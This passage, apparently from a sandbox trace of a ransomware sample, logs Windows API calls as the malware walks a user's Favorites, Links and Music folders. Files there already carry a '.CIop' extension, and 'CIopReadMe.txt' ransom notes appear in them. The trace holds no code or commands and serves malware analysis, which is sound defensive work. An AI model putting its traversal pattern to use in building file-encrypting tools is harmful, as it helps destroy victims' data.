lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0148.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0148.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.728] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0148.728] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.728] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0148.728] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0148.728] lstrlenW (lpString=".CIop") returned 5 [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.728] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.728] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.728] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.728] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.728] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.728] lstrlenW (lpString="desktop.ini") returned 11 [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.728] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.728] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.728] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.728] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0148.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0148.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.728] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0148.728] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0148.729] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.729] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.729] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.729] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.729] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.729] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.729] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0148.729] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0148.729] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0148.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0148.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0148.729] SetErrorMode (uMode=0x1) returned 0x1 [0148.729] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0148.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0148.729] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0148.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0148.729] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dc38 [0148.729] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0148.729] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.729] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.729] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.729] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.729] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.729] lstrlenW (lpString="desktop.ini") returned 11 [0148.729] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.729] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0148.729] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0148.729] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0148.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0148.729] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0f8 [0148.730] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0148.730] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.730] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.730] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.730] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.730] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.730] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0148.730] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0148.730] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.730] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.730] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.730] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.730] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0148.730] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0148.730] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0148.730] SetErrorMode (uMode=0x1) returned 0x1 [0148.730] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0148.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0148.730] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0148.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0148.730] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.730] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0148.730] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.730] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.731] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.731] lstrlenW (lpString="desktop.ini") returned 11 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0148.731] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0148.731] lstrlenW (lpString=".LNK") returned 4 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0148.731] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0148.731] lstrlenW (lpString=".LNK") returned 4 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0148.731] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0148.731] lstrlenW (lpString=".LNK") returned 4 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.731] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.731] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.731] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0148.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0148.731] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.731] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0148.731] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.731] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.731] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.732] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.732] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.732] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.732] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.732] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.732] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.732] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.732] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0148.732] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0148.732] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0148.732] SetErrorMode (uMode=0x1) returned 0x1 [0148.732] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0148.732] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0148.732] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.732] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0148.732] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0148.732] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.732] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0148.732] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.732] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0148.732] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0148.732] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.732] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.732] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0148.732] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0148.732] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0148.733] SetErrorMode (uMode=0x1) returned 0x1 [0148.733] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0148.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0148.733] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0148.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0148.733] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.733] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0148.733] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.733] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.733] lstrlenW (lpString="desktop.ini") returned 11 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.733] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0148.733] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0148.733] lstrlenW (lpString=".CIop") returned 5 [0148.733] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0148.734] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0148.734] lstrlenW (lpString=".CIop") returned 5 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0148.734] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0148.734] lstrlenW (lpString=".CIop") returned 5 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.734] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.734] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.734] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0148.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0148.734] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.734] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0148.734] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.734] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0148.734] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0148.734] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0148.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0148.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0148.734] SetErrorMode (uMode=0x1) returned 0x1 [0148.734] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: 